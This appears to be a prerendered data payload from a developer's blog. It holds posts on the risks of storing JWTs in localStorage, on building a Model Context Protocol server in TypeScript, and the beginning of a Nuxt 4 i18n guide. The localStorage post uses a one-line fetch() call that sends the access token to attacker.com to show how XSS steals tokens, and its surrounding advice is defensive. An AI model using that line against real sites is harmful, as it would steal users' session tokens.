[{"data":1,"prerenderedAt":9198},["ShallowReactive",2],{"blog-list-en":3},[4,305,1092,1807,2479,3126,3750,4518,5218,5403,5789,6023,6391,7134,7435,7735,8397],{"id":5,"title":6,"author":7,"body":8,"date":288,"description":289,"extension":290,"featured":291,"image":292,"meta":293,"navigation":294,"path":295,"readingTime":182,"seo":296,"slug":297,"stem":298,"tags":299,"__hash__":304},"blog\u002Fblog\u002Fen\u002Fjwt-localstorage-security-risks.md","Why Storing JWTs in LocalStorage is a Security Risk (and What to Use Instead)","Adam Abdel-Djamal",{"type":9,"value":10,"toc":277},"minimark",[11,15,45,53,60,63,71,77,92,99,114,120,122,137,146,192,197,227,229,233,243,254,258,273],[12,13,14],"p",{},"Search any beginner tutorial on web authentication, and you will almost certainly find this pattern:",[16,17,22],"pre",{"className":18,"code":19,"language":20,"meta":21,"style":21},"language-javascript shiki shiki-themes github-light github-dark","\u002F\u002F ❌ The worst place to store sensitive auth tokens\nconst { token } = await login(email, password)\nlocalStorage.setItem('access_token', token)\n","javascript","",[23,24,25,33,39],"code",{"__ignoreMap":21},[26,27,30],"span",{"class":28,"line":29},"line",1,[26,31,32],{},"\u002F\u002F ❌ The worst place to store sensitive auth tokens\n",[26,34,36],{"class":28,"line":35},2,[26,37,38],{},"const { token } = await login(email, password)\n",[26,40,42],{"class":28,"line":41},3,[26,43,44],{},"localStorage.setItem('access_token', token)\n",[12,46,47,48,52],{},"It is easy to implement. It works across tabs. But it is also a ",[49,50,51],"strong",{},"critical security vulnerability"," that leaves your users completely exposed to Cross-Site Scripting (XSS) attacks.",[12,54,55,56,59],{},"In this article, we'll explain why ",[23,57,58],{},"localStorage"," is unsafe for session tokens and look at the modern, battle-tested alternatives.",[61,62],"hr",{},[64,65,67,68,70],"h2",{"id":66},"_1-why-localstorage-is-vulnerable","1. Why ",[23,69,58],{}," is Vulnerable",[12,72,73,74,76],{},"Any JavaScript code running on your page has unrestricted read access to ",[23,75,58],{},":",[16,78,80],{"className":18,"code":79,"language":20,"meta":21,"style":21},"\u002F\u002F Any malicious script can steal your token in 1 line:\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal?token=' + localStorage.getItem('access_token'))\n",[23,81,82,87],{"__ignoreMap":21},[26,83,84],{"class":28,"line":29},[26,85,86],{},"\u002F\u002F Any malicious script can steal your token in 1 line:\n",[26,88,89],{"class":28,"line":35},[26,90,91],{},"fetch('https:\u002F\u002Fattacker.com\u002Fsteal?token=' + localStorage.getItem('access_token'))\n",[12,93,94,95],{},"You might think: ",[96,97,98],"em",{},"\"I don't write malicious JavaScript in my app!\"",[12,100,101,102,105,106,109,110,113],{},"True. But modern web applications pull in ",[49,103,104],{},"hundreds of npm dependencies",", third-party analytics scripts, chat widgets, and tag managers. If a single compromised npm package or malicious injected ",[23,107,108],{},"\u003Cscript>"," tag executes on your origin, ",[49,111,112],{},"an attacker can silently extract every logged-in user's authentication token",".",[12,115,116,117,119],{},"Worse, ",[23,118,58],{}," has no expiration mechanism. A token stored there persists indefinitely until manually cleared.",[61,121],{},[64,123,125,126,129,130,129,133,136],{"id":124},"_2-the-solution-httponly-secure-samesite-cookies","2. The Solution: ",[23,127,128],{},"HttpOnly",", ",[23,131,132],{},"Secure",[23,134,135],{},"SameSite"," Cookies",[12,138,139,140,145],{},"The only safe storage mechanism for authentication tokens in a browser is an ",[49,141,142,144],{},[23,143,128],{}," cookie"," issued by your backend:",[16,147,151],{"className":148,"code":149,"language":150,"meta":21,"style":21},"language-http shiki shiki-themes github-light github-dark","HTTP\u002F1.1 200 OK\nSet-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855; \n            HttpOnly; \n            Secure; \n            SameSite=Lax; \n            Path=\u002F; \n            Max-Age=604800\n","http",[23,152,153,158,163,168,174,180,186],{"__ignoreMap":21},[26,154,155],{"class":28,"line":29},[26,156,157],{},"HTTP\u002F1.1 200 OK\n",[26,159,160],{"class":28,"line":35},[26,161,162],{},"Set-Cookie: session_token=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855; \n",[26,164,165],{"class":28,"line":41},[26,166,167],{},"            HttpOnly; \n",[26,169,171],{"class":28,"line":170},4,[26,172,173],{},"            Secure; \n",[26,175,177],{"class":28,"line":176},5,[26,178,179],{},"            SameSite=Lax; \n",[26,181,183],{"class":28,"line":182},6,[26,184,185],{},"            Path=\u002F; \n",[26,187,189],{"class":28,"line":188},7,[26,190,191],{},"            Max-Age=604800\n",[193,194,196],"h3",{"id":195},"why-this-is-100-xss-proof","Why This is 100% XSS-Proof:",[198,199,200,212,219],"ul",{},[201,202,203,207,208,211],"li",{},[49,204,205],{},[23,206,128],{},": The browser strictly forbids JavaScript from accessing ",[23,209,210],{},"document.cookie",". Even if an attacker executes an XSS payload on your page, they physically cannot read the cookie.",[201,213,214,218],{},[49,215,216],{},[23,217,132],{},": The browser will only transmit the cookie over encrypted HTTPS connections.",[201,220,221,226],{},[49,222,223],{},[23,224,225],{},"SameSite=Lax",": The browser blocks third-party origins from sending the cookie on cross-site requests, protecting against CSRF attacks.",[61,228],{},[64,230,232],{"id":231},"_3-what-about-single-page-apps-spas-on-separate-domains","3. What About Single-Page Apps (SPAs) on Separate Domains?",[12,234,235,236,239,240,76],{},"If your frontend is hosted on ",[23,237,238],{},"app.mysaas.com"," and your API is on ",[23,241,242],{},"api.mysaas.com",[198,244,245,251],{},[201,246,247,248,113],{},"Set the cookie domain to the parent domain: ",[23,249,250],{},"Domain=.mysaas.com",[201,252,253],{},"Both subdomains can securely share the authentication cookie without exposing tokens to client-side storage.",[193,255,257],{"id":256},"takeaway","Takeaway",[12,259,260,261,263,264,267,268,272],{},"Never store sensitive bearer tokens, refresh tokens, or API credentials in ",[23,262,58],{}," or ",[23,265,266],{},"sessionStorage",". Always delegate session security to the browser's native ",[49,269,270,144],{},[23,271,128],{}," mechanism.",[274,275,276],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":278},[279,281,285],{"id":66,"depth":35,"text":280},"1. Why localStorage is Vulnerable",{"id":124,"depth":35,"text":282,"children":283},"2. The Solution: HttpOnly, Secure, SameSite Cookies",[284],{"id":195,"depth":41,"text":196},{"id":231,"depth":35,"text":232,"children":286},[287],{"id":256,"depth":41,"text":257},"2026-09-19","Popular web security topic comparing LocalStorage, in-memory tokens, and HttpOnly SameSite cookies. How to protect your users from XSS token theft.","md",false,null,{},true,"\u002Fblog\u002Fen\u002Fjwt-localstorage-security-risks",{"title":6,"description":289},"jwt-localstorage-security-risks","blog\u002Fen\u002Fjwt-localstorage-security-risks",[300,301,20,302,303],"security","auth","web-security","frontend","bP9p0S4GQ8UzZbPbsOzOeQK0NSEeawgeDXagxqaUI0A",{"id":306,"title":307,"author":7,"body":308,"date":1079,"description":1080,"extension":290,"featured":291,"image":292,"meta":1081,"navigation":294,"path":1082,"readingTime":188,"seo":1083,"slug":1084,"stem":1085,"tags":1086,"__hash__":1091},"blog\u002Fblog\u002Fen\u002Fmcp-model-context-protocol-web-dev.md","Model Context Protocol (MCP) Explained for Web Developers: Giving Tools to AI Agents",{"type":9,"value":309,"toc":1074},[310,313,324,327,329,333,344,352,354,358,364,962,964,968,986,992,1068,1071],[12,311,312],{},"Until recently, connecting an LLM to your database or internal API meant writing proprietary, bespoke function-calling wrappers. Every AI client (OpenAI, Anthropic, LangChain) had a different schema format, and reusing tools across platforms required endless adapter boilerplate.",[12,314,315,316,319,320,323],{},"Enter the ",[49,317,318],{},"Model Context Protocol (MCP)",", open-sourced by Anthropic. MCP is rapidly becoming the ",[49,321,322],{},"USB-C of AI development",": an open standard that allows any AI agent to discover and invoke tools, inspect databases, and query business systems securely.",[12,325,326],{},"In this guide, we'll explain how MCP works and walk through building your first MCP server in TypeScript.",[61,328],{},[64,330,332],{"id":331},"_1-the-mcp-client-server-model","1. The MCP Client-Server Model",[12,334,335,336,339,340,343],{},"MCP standardizes how an AI Host (Claude Desktop, Cursor, Antigravity) talks to external tools through lightweight JSON-RPC over Standard I\u002FO (",[23,337,338],{},"stdio",") or Server-Sent Events (",[23,341,342],{},"sse","):",[16,345,350],{"className":346,"code":348,"language":349,"meta":21},[347],"language-text","[AI Host \u002F Agent]\n        │  (JSON-RPC protocol)\n        ▼\n   [MCP Server]\n   ├── Prompts: Pre-packaged prompt workflows\n   ├── Resources: File contents, logs, documentation\n   └── Tools: Executable functions (e.g. `query_database`, `create_invoice`)\n","text",[23,351,348],{"__ignoreMap":21},[61,353],{},[64,355,357],{"id":356},"_2-building-an-mcp-server-in-40-lines-of-typescript","2. Building an MCP Server in 40 Lines of TypeScript",[12,359,360,361,76],{},"Let's build an MCP server that exposes a database query tool to an AI agent using the official ",[23,362,363],{},"@modelcontextprotocol\u002Fsdk",[16,365,369],{"className":366,"code":367,"language":368,"meta":21,"style":21},"language-typescript shiki shiki-themes github-light github-dark","import { Server } from '@modelcontextprotocol\u002Fsdk\u002Fserver\u002Findex.js'\nimport { StdioServerTransport } from '@modelcontextprotocol\u002Fsdk\u002Fserver\u002Fstdio.js'\nimport { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol\u002Fsdk\u002Ftypes.js'\nimport { z } from 'zod'\n\nconst server = new Server(\n  { name: 'enterprise-crm-mcp', version: '1.0.0' },\n  { capabilities: { tools: {} } }\n)\n\n\u002F\u002F 1. Declare available tools to the AI Agent\nserver.setRequestHandler(ListToolsRequestSchema, async () => {\n  return {\n    tools: [\n      {\n        name: 'query_customer_invoices',\n        description: 'Lookup outstanding customer invoices and balance by customer ID',\n        inputSchema: {\n          type: 'object',\n          properties: {\n            customerId: { type: 'string', description: 'Customer identifier (e.g. CUST-1042)' },\n            minAmount: { type: 'number', description: 'Optional minimum invoice amount filter' }\n          },\n          required: ['customerId']\n        }\n      }\n    ]\n  }\n})\n\n\u002F\u002F 2. Handle tool execution requested by the LLM\nserver.setRequestHandler(CallToolRequestSchema, async (request) => {\n  if (request.params.name === 'query_customer_invoices') {\n    const { customerId, minAmount = 0 } = request.params.arguments as any\n    const invoices = await db.invoices.findMany({\n      where: { customerId, amount: { gte: minAmount } }\n    })\n\n    return {\n      content: [\n        {\n          type: 'text',\n          text: JSON.stringify(invoices, null, 2)\n        }\n      ]\n    }\n  }\n\n  throw new Error(`Tool ${request.params.name} not found`)\n})\n\n\u002F\u002F 3. Connect via Standard I\u002FO\nconst transport = new StdioServerTransport()\nawait server.connect(transport)\n","typescript",[23,370,371,388,400,412,424,429,451,468,474,480,485,492,516,524,530,536,548,559,565,576,582,599,616,622,634,640,646,652,658,664,669,675,701,719,756,778,784,790,795,803,809,815,825,852,857,863,869,874,879,913,918,923,929,947],{"__ignoreMap":21},[26,372,373,377,381,384],{"class":28,"line":29},[26,374,376],{"class":375},"szBVR","import",[26,378,380],{"class":379},"sVt8B"," { Server } ",[26,382,383],{"class":375},"from",[26,385,387],{"class":386},"sZZnC"," '@modelcontextprotocol\u002Fsdk\u002Fserver\u002Findex.js'\n",[26,389,390,392,395,397],{"class":28,"line":35},[26,391,376],{"class":375},[26,393,394],{"class":379}," { StdioServerTransport } ",[26,396,383],{"class":375},[26,398,399],{"class":386}," '@modelcontextprotocol\u002Fsdk\u002Fserver\u002Fstdio.js'\n",[26,401,402,404,407,409],{"class":28,"line":41},[26,403,376],{"class":375},[26,405,406],{"class":379}," { CallToolRequestSchema, ListToolsRequestSchema } ",[26,408,383],{"class":375},[26,410,411],{"class":386}," '@modelcontextprotocol\u002Fsdk\u002Ftypes.js'\n",[26,413,414,416,419,421],{"class":28,"line":170},[26,415,376],{"class":375},[26,417,418],{"class":379}," { z } ",[26,420,383],{"class":375},[26,422,423],{"class":386}," 'zod'\n",[26,425,426],{"class":28,"line":176},[26,427,428],{"emptyLinePlaceholder":294},"\n",[26,430,431,434,438,441,444,448],{"class":28,"line":182},[26,432,433],{"class":375},"const",[26,435,437],{"class":436},"sj4cs"," server",[26,439,440],{"class":375}," =",[26,442,443],{"class":375}," new",[26,445,447],{"class":446},"sScJk"," Server",[26,449,450],{"class":379},"(\n",[26,452,453,456,459,462,465],{"class":28,"line":188},[26,454,455],{"class":379},"  { name: ",[26,457,458],{"class":386},"'enterprise-crm-mcp'",[26,460,461],{"class":379},", version: ",[26,463,464],{"class":386},"'1.0.0'",[26,466,467],{"class":379}," },\n",[26,469,471],{"class":28,"line":470},8,[26,472,473],{"class":379},"  { capabilities: { tools: {} } }\n",[26,475,477],{"class":28,"line":476},9,[26,478,479],{"class":379},")\n",[26,481,483],{"class":28,"line":482},10,[26,484,428],{"emptyLinePlaceholder":294},[26,486,488],{"class":28,"line":487},11,[26,489,491],{"class":490},"sJ8bj","\u002F\u002F 1. Declare available tools to the AI Agent\n",[26,493,495,498,501,504,507,510,513],{"class":28,"line":494},12,[26,496,497],{"class":379},"server.",[26,499,500],{"class":446},"setRequestHandler",[26,502,503],{"class":379},"(ListToolsRequestSchema, ",[26,505,506],{"class":375},"async",[26,508,509],{"class":379}," () ",[26,511,512],{"class":375},"=>",[26,514,515],{"class":379}," {\n",[26,517,519,522],{"class":28,"line":518},13,[26,520,521],{"class":375},"  return",[26,523,515],{"class":379},[26,525,527],{"class":28,"line":526},14,[26,528,529],{"class":379},"    tools: [\n",[26,531,533],{"class":28,"line":532},15,[26,534,535],{"class":379},"      {\n",[26,537,539,542,545],{"class":28,"line":538},16,[26,540,541],{"class":379},"        name: ",[26,543,544],{"class":386},"'query_customer_invoices'",[26,546,547],{"class":379},",\n",[26,549,551,554,557],{"class":28,"line":550},17,[26,552,553],{"class":379},"        description: ",[26,555,556],{"class":386},"'Lookup outstanding customer invoices and balance by customer ID'",[26,558,547],{"class":379},[26,560,562],{"class":28,"line":561},18,[26,563,564],{"class":379},"        inputSchema: {\n",[26,566,568,571,574],{"class":28,"line":567},19,[26,569,570],{"class":379},"          type: ",[26,572,573],{"class":386},"'object'",[26,575,547],{"class":379},[26,577,579],{"class":28,"line":578},20,[26,580,581],{"class":379},"          properties: {\n",[26,583,585,588,591,594,597],{"class":28,"line":584},21,[26,586,587],{"class":379},"            customerId: { type: ",[26,589,590],{"class":386},"'string'",[26,592,593],{"class":379},", description: ",[26,595,596],{"class":386},"'Customer identifier (e.g. CUST-1042)'",[26,598,467],{"class":379},[26,600,602,605,608,610,613],{"class":28,"line":601},22,[26,603,604],{"class":379},"            minAmount: { type: ",[26,606,607],{"class":386},"'number'",[26,609,593],{"class":379},[26,611,612],{"class":386},"'Optional minimum invoice amount filter'",[26,614,615],{"class":379}," }\n",[26,617,619],{"class":28,"line":618},23,[26,620,621],{"class":379},"          },\n",[26,623,625,628,631],{"class":28,"line":624},24,[26,626,627],{"class":379},"          required: [",[26,629,630],{"class":386},"'customerId'",[26,632,633],{"class":379},"]\n",[26,635,637],{"class":28,"line":636},25,[26,638,639],{"class":379},"        }\n",[26,641,643],{"class":28,"line":642},26,[26,644,645],{"class":379},"      }\n",[26,647,649],{"class":28,"line":648},27,[26,650,651],{"class":379},"    ]\n",[26,653,655],{"class":28,"line":654},28,[26,656,657],{"class":379},"  }\n",[26,659,661],{"class":28,"line":660},29,[26,662,663],{"class":379},"})\n",[26,665,667],{"class":28,"line":666},30,[26,668,428],{"emptyLinePlaceholder":294},[26,670,672],{"class":28,"line":671},31,[26,673,674],{"class":490},"\u002F\u002F 2. Handle tool execution requested by the LLM\n",[26,676,678,680,682,685,687,690,694,697,699],{"class":28,"line":677},32,[26,679,497],{"class":379},[26,681,500],{"class":446},[26,683,684],{"class":379},"(CallToolRequestSchema, ",[26,686,506],{"class":375},[26,688,689],{"class":379}," (",[26,691,693],{"class":692},"s4XuR","request",[26,695,696],{"class":379},") ",[26,698,512],{"class":375},[26,700,515],{"class":379},[26,702,704,707,710,713,716],{"class":28,"line":703},33,[26,705,706],{"class":375},"  if",[26,708,709],{"class":379}," (request.params.name ",[26,711,712],{"class":375},"===",[26,714,715],{"class":386}," 'query_customer_invoices'",[26,717,718],{"class":379},") {\n",[26,720,722,725,728,731,733,736,738,741,744,747,750,753],{"class":28,"line":721},34,[26,723,724],{"class":375},"    const",[26,726,727],{"class":379}," { ",[26,729,730],{"class":436},"customerId",[26,732,129],{"class":379},[26,734,735],{"class":436},"minAmount",[26,737,440],{"class":375},[26,739,740],{"class":436}," 0",[26,742,743],{"class":379}," } ",[26,745,746],{"class":375},"=",[26,748,749],{"class":379}," request.params.arguments ",[26,751,752],{"class":375},"as",[26,754,755],{"class":436}," any\n",[26,757,759,761,764,766,769,772,775],{"class":28,"line":758},35,[26,760,724],{"class":375},[26,762,763],{"class":436}," invoices",[26,765,440],{"class":375},[26,767,768],{"class":375}," await",[26,770,771],{"class":379}," db.invoices.",[26,773,774],{"class":446},"findMany",[26,776,777],{"class":379},"({\n",[26,779,781],{"class":28,"line":780},36,[26,782,783],{"class":379},"      where: { customerId, amount: { gte: minAmount } }\n",[26,785,787],{"class":28,"line":786},37,[26,788,789],{"class":379},"    })\n",[26,791,793],{"class":28,"line":792},38,[26,794,428],{"emptyLinePlaceholder":294},[26,796,798,801],{"class":28,"line":797},39,[26,799,800],{"class":375},"    return",[26,802,515],{"class":379},[26,804,806],{"class":28,"line":805},40,[26,807,808],{"class":379},"      content: [\n",[26,810,812],{"class":28,"line":811},41,[26,813,814],{"class":379},"        {\n",[26,816,818,820,823],{"class":28,"line":817},42,[26,819,570],{"class":379},[26,821,822],{"class":386},"'text'",[26,824,547],{"class":379},[26,826,828,831,834,836,839,842,845,847,850],{"class":28,"line":827},43,[26,829,830],{"class":379},"          text: ",[26,832,833],{"class":436},"JSON",[26,835,113],{"class":379},[26,837,838],{"class":446},"stringify",[26,840,841],{"class":379},"(invoices, ",[26,843,844],{"class":436},"null",[26,846,129],{"class":379},[26,848,849],{"class":436},"2",[26,851,479],{"class":379},[26,853,855],{"class":28,"line":854},44,[26,856,639],{"class":379},[26,858,860],{"class":28,"line":859},45,[26,861,862],{"class":379},"      ]\n",[26,864,866],{"class":28,"line":865},46,[26,867,868],{"class":379},"    }\n",[26,870,872],{"class":28,"line":871},47,[26,873,657],{"class":379},[26,875,877],{"class":28,"line":876},48,[26,878,428],{"emptyLinePlaceholder":294},[26,880,882,885,887,890,893,896,898,900,903,905,908,911],{"class":28,"line":881},49,[26,883,884],{"class":375},"  throw",[26,886,443],{"class":375},[26,888,889],{"class":446}," Error",[26,891,892],{"class":379},"(",[26,894,895],{"class":386},"`Tool ${",[26,897,693],{"class":379},[26,899,113],{"class":386},[26,901,902],{"class":379},"params",[26,904,113],{"class":386},[26,906,907],{"class":379},"name",[26,909,910],{"class":386},"} not found`",[26,912,479],{"class":379},[26,914,916],{"class":28,"line":915},50,[26,917,663],{"class":379},[26,919,921],{"class":28,"line":920},51,[26,922,428],{"emptyLinePlaceholder":294},[26,924,926],{"class":28,"line":925},52,[26,927,928],{"class":490},"\u002F\u002F 3. Connect via Standard I\u002FO\n",[26,930,932,934,937,939,941,944],{"class":28,"line":931},53,[26,933,433],{"class":375},[26,935,936],{"class":436}," transport",[26,938,440],{"class":375},[26,940,443],{"class":375},[26,942,943],{"class":446}," StdioServerTransport",[26,945,946],{"class":379},"()\n",[26,948,950,953,956,959],{"class":28,"line":949},54,[26,951,952],{"class":375},"await",[26,954,955],{"class":379}," server.",[26,957,958],{"class":446},"connect",[26,960,961],{"class":379},"(transport)\n",[61,963],{},[64,965,967],{"id":966},"_3-human-in-the-loop-hitl-safeguards","3. Human-in-the-Loop (HITL) Safeguards",[12,969,970,971,974,975,129,978,981,982,985],{},"When designing MCP tools that execute ",[49,972,973],{},"write or financial operations"," (e.g. ",[23,976,977],{},"send_payment_reminder",[23,979,980],{},"refund_transaction"," — as in my ",[49,983,984],{},"OpérIA"," copilot project), never execute the write immediately.",[12,987,988,989,76],{},"Instead, have the MCP tool return a ",[49,990,991],{},"Staged Action Object",[16,993,997],{"className":994,"code":995,"language":996,"meta":21,"style":21},"language-json shiki shiki-themes github-light github-dark","{\n  \"action\": \"DISPUTE_CREDIT\",\n  \"status\": \"STAGED\",\n  \"recipient\": \"client@enterprise.com\",\n  \"amount\": 450.00,\n  \"requiresApproval\": true\n}\n","json",[23,998,999,1004,1017,1029,1041,1053,1063],{"__ignoreMap":21},[26,1000,1001],{"class":28,"line":29},[26,1002,1003],{"class":379},"{\n",[26,1005,1006,1009,1012,1015],{"class":28,"line":35},[26,1007,1008],{"class":436},"  \"action\"",[26,1010,1011],{"class":379},": ",[26,1013,1014],{"class":386},"\"DISPUTE_CREDIT\"",[26,1016,547],{"class":379},[26,1018,1019,1022,1024,1027],{"class":28,"line":41},[26,1020,1021],{"class":436},"  \"status\"",[26,1023,1011],{"class":379},[26,1025,1026],{"class":386},"\"STAGED\"",[26,1028,547],{"class":379},[26,1030,1031,1034,1036,1039],{"class":28,"line":170},[26,1032,1033],{"class":436},"  \"recipient\"",[26,1035,1011],{"class":379},[26,1037,1038],{"class":386},"\"client@enterprise.com\"",[26,1040,547],{"class":379},[26,1042,1043,1046,1048,1051],{"class":28,"line":176},[26,1044,1045],{"class":436},"  \"amount\"",[26,1047,1011],{"class":379},[26,1049,1050],{"class":436},"450.00",[26,1052,547],{"class":379},[26,1054,1055,1058,1060],{"class":28,"line":182},[26,1056,1057],{"class":436},"  \"requiresApproval\"",[26,1059,1011],{"class":379},[26,1061,1062],{"class":436},"true\n",[26,1064,1065],{"class":28,"line":188},[26,1066,1067],{"class":379},"}\n",[12,1069,1070],{},"The operator reviews and confirms the staged payload in the UI before the system commits the transaction to production.",[274,1072,1073],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":21,"searchDepth":35,"depth":35,"links":1075},[1076,1077,1078],{"id":331,"depth":35,"text":332},{"id":356,"depth":35,"text":357},{"id":966,"depth":35,"text":967},"2026-09-18","MCP is one of the fastest-growing topics in developer search queries right now; establishing an early article here builds high search authority.",{},"\u002Fblog\u002Fen\u002Fmcp-model-context-protocol-web-dev",{"title":307,"description":1080},"mcp-model-context-protocol-web-dev","blog\u002Fen\u002Fmcp-model-context-protocol-web-dev",[1087,1088,1089,1090,368],"ai","mcp","agents","python","9_DKdGQqCjXxTFjVhAmSWq3aDj2416w6DXMqHY-WECI",{"id":1093,"title":1094,"author":7,"body":1095,"date":1794,"description":1795,"extension":290,"featured":291,"image":292,"meta":1796,"navigation":294,"path":1797,"readingTime":188,"seo":1798,"slug":1799,"stem":1800,"tags":1801,"__hash__":1806},"blog\u002Fblog\u002Fen\u002Fmultilingual-nuxt4-prerendering.md","How to Build a Lightning-Fast Multilingual Website with Nuxt 4 & Static Prerendering",{"type":9,"value":1096,"toc":1785},[1097,1100,1106,1118,1120,1127,1138,1145,1206,1485,1487,1494,1504,1510,1634,1636,1643,1649,1658,1705,1707,1711,1714,1771,1782],[12,1098,1099],{},"Building a multilingual website often turns into a performance and SEO compromise: slow dynamic routing, duplicated canonical URLs, broken browser redirect cookies, and plummeting Lighthouse scores.",[12,1101,1102,1103,113],{},"When building this portfolio, my goal was strict: ",[49,1104,1105],{},"5 languages (EN, FR, DE, ES, JA), sub-50ms static load times, perfect hreflang sitemaps, and 100\u002F100 Lighthouse scores",[12,1107,1108,1109,1112,1113,113],{},"In this guide, I share the exact configuration that achieves zero-runtime static prerendering with ",[49,1110,1111],{},"Nuxt 4"," and ",[49,1114,1115],{},[23,1116,1117],{},"@nuxtjs\u002Fi18n",[61,1119],{},[64,1121,1123,1124],{"id":1122},"_1-the-core-routing-strategy-prefix_except_default","1. The Core Routing Strategy: ",[23,1125,1126],{},"prefix_except_default",[12,1128,1129,1130,1133,1134,1137],{},"By default, multilingual setups often create redundant redirects for the root URL (",[23,1131,1132],{},"\u002F"," -> ",[23,1135,1136],{},"\u002Fen","), adding a costly 200ms TTFB penalty.",[12,1139,1140,1141,76],{},"The optimal strategy is ",[49,1142,1143],{},[23,1144,1126],{},[198,1146,1147,1158,1170,1182,1194],{},[201,1148,1149,1150,129,1152,129,1155],{},"English (default): ",[23,1151,1132],{},[23,1153,1154],{},"\u002Fportfolio",[23,1156,1157],{},"\u002Fblog",[201,1159,1160,1161,129,1164,129,1167],{},"French: ",[23,1162,1163],{},"\u002Ffr",[23,1165,1166],{},"\u002Ffr\u002Fportfolio",[23,1168,1169],{},"\u002Ffr\u002Fblog",[201,1171,1172,1173,129,1176,129,1179],{},"German: ",[23,1174,1175],{},"\u002Fde",[23,1177,1178],{},"\u002Fde\u002Fportfolio",[23,1180,1181],{},"\u002Fde\u002Fblog",[201,1183,1184,1185,129,1188,129,1191],{},"Spanish: ",[23,1186,1187],{},"\u002Fes",[23,1189,1190],{},"\u002Fes\u002Fportfolio",[23,1192,1193],{},"\u002Fes\u002Fblog",[201,1195,1196,1197,129,1200,129,1203],{},"Japanese: ",[23,1198,1199],{},"\u002Fja",[23,1201,1202],{},"\u002Fja\u002Fportfolio",[23,1204,1205],{},"\u002Fja\u002Fblog",[16,1207,1209],{"className":366,"code":1208,"language":368,"meta":21,"style":21},"\u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({\n  modules: ['@nuxtjs\u002Fi18n', '@nuxtjs\u002Fsitemap'],\n\n  i18n: {\n    langDir: 'locales\u002F',\n    defaultLocale: 'en',\n    strategy: 'prefix_except_default',\n    detectBrowserLanguage: {\n      useCookie: true,\n      cookieKey: 'i18n_redirected',\n      redirectOn: 'root',\n      alwaysRedirect: false,\n      fallbackLocale: 'en',\n    },\n    locales: [\n      { code: 'en', language: 'en-US', file: 'en.json', name: 'English' },\n      { code: 'fr', language: 'fr-FR', file: 'fr.json', name: 'Français' },\n      { code: 'de', language: 'de-DE', file: 'de.json', name: 'Deutsch' },\n      { code: 'es', language: 'es-ES', file: 'es.json', name: 'Español' },\n      { code: 'ja', language: 'ja-JP', file: 'ja.json', name: '日本語' },\n    ],\n  },\n})\n",[23,1210,1211,1216,1229,1245,1249,1254,1264,1274,1284,1289,1299,1309,1319,1329,1338,1343,1348,1375,1399,1423,1447,1471,1476,1481],{"__ignoreMap":21},[26,1212,1213],{"class":28,"line":29},[26,1214,1215],{"class":490},"\u002F\u002F nuxt.config.ts\n",[26,1217,1218,1221,1224,1227],{"class":28,"line":35},[26,1219,1220],{"class":375},"export",[26,1222,1223],{"class":375}," default",[26,1225,1226],{"class":446}," defineNuxtConfig",[26,1228,777],{"class":379},[26,1230,1231,1234,1237,1239,1242],{"class":28,"line":41},[26,1232,1233],{"class":379},"  modules: [",[26,1235,1236],{"class":386},"'@nuxtjs\u002Fi18n'",[26,1238,129],{"class":379},[26,1240,1241],{"class":386},"'@nuxtjs\u002Fsitemap'",[26,1243,1244],{"class":379},"],\n",[26,1246,1247],{"class":28,"line":170},[26,1248,428],{"emptyLinePlaceholder":294},[26,1250,1251],{"class":28,"line":176},[26,1252,1253],{"class":379},"  i18n: {\n",[26,1255,1256,1259,1262],{"class":28,"line":182},[26,1257,1258],{"class":379},"    langDir: ",[26,1260,1261],{"class":386},"'locales\u002F'",[26,1263,547],{"class":379},[26,1265,1266,1269,1272],{"class":28,"line":188},[26,1267,1268],{"class":379},"    defaultLocale: ",[26,1270,1271],{"class":386},"'en'",[26,1273,547],{"class":379},[26,1275,1276,1279,1282],{"class":28,"line":470},[26,1277,1278],{"class":379},"    strategy: ",[26,1280,1281],{"class":386},"'prefix_except_default'",[26,1283,547],{"class":379},[26,1285,1286],{"class":28,"line":476},[26,1287,1288],{"class":379},"    detectBrowserLanguage: {\n",[26,1290,1291,1294,1297],{"class":28,"line":482},[26,1292,1293],{"class":379},"      